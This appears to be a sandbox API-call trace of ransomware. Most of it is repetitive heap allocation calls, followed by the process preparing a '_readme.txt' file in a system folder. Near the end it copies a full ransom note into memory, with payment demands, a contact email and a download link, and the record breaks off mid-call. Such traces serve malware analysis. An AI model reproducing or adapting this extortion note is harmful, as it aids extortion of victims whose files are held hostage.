[0124.208] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.208] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.208] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.208] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.208] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.208] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc2e) returned 0x3ae1ff0 [0124.208] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.208] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.208] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.208] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.208] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.208] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.208] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.208] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.208] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.209] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.209] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.209] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.209] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.209] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.209] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.209] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.209] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.209] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.209] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.209] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.209] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.209] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.209] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.209] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.209] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.209] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.209] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.209] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.209] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.209] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.209] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.209] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.209] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.209] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.209] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.209] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.209] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.209] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.209] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.209] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.209] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.209] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.209] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.209] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.209] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.209] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.209] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.209] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.209] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.209] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.209] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.210] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.210] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.210] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.210] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.210] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.210] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.210] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.210] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.210] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.210] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.210] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.210] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.210] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.210] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.210] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.210] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.210] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.210] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.210] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.210] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.210] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.210] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.210] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.210] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.210] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc2e) returned 0x3ae1ff0 [0124.210] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.210] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.210] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.210] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.210] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.210] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.210] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.210] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.210] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.210] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.210] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.210] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.210] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.210] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.210] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.210] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.210] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.210] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.210] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.211] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.211] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.211] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.211] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.211] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.211] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.211] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.211] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.211] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.211] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.211] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.211] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.211] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.211] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.211] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.211] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.211] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.211] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.211] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.211] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.211] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.211] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.211] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.211] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.211] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.211] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.211] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.211] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.211] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.211] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.211] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.211] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.211] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.211] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.211] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.211] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.211] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.211] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.211] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.211] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.211] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.211] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.211] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.211] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.211] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.212] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.212] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.212] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.212] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.212] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.212] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.212] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.212] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.212] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.212] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.212] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.212] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.212] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.212] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.212] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.212] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.212] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.212] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.212] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.212] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.212] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.212] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.212] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.212] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.212] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.212] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.212] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.212] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.212] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.212] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.212] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.212] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.212] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.212] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.212] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.212] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.212] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.212] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.212] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.212] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.212] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.212] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.212] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.212] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.213] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.213] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.213] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.213] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.213] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.213] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.213] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.213] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.213] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.213] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.213] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.213] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.213] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.213] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.213] PathFindFileNameW (pszPath="C:\\Boot\\es-ES\\") returned="es-ES\\" [0124.213] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.213] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.213] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.213] PathFindFileNameW (pszPath="") returned="" [0124.213] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75bd0000 [0124.213] GetProcAddress (hModule=0x75bd0000, lpProcName="SHGetFolderPathW") returned 0x75c55708 [0124.213] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3ae1ff0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.213] FreeLibrary (hLibModule=0x75bd0000) returned 1 [0124.213] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.213] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.213] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.214] PathAppendW (in: pszPath="C:\\Boot\\es-ES\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\es-ES\\_readme.txt") returned 1 [0124.214] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.214] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.214] PathFileExistsW (pszPath="C:\\Boot\\es-ES\\_readme.txt") returned 0 [0124.214] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x7d00) returned 0x3ae3bf0 [0124.214] lstrcpyW (in: lpString1=0x3ae3bf0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" [0124.214] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal 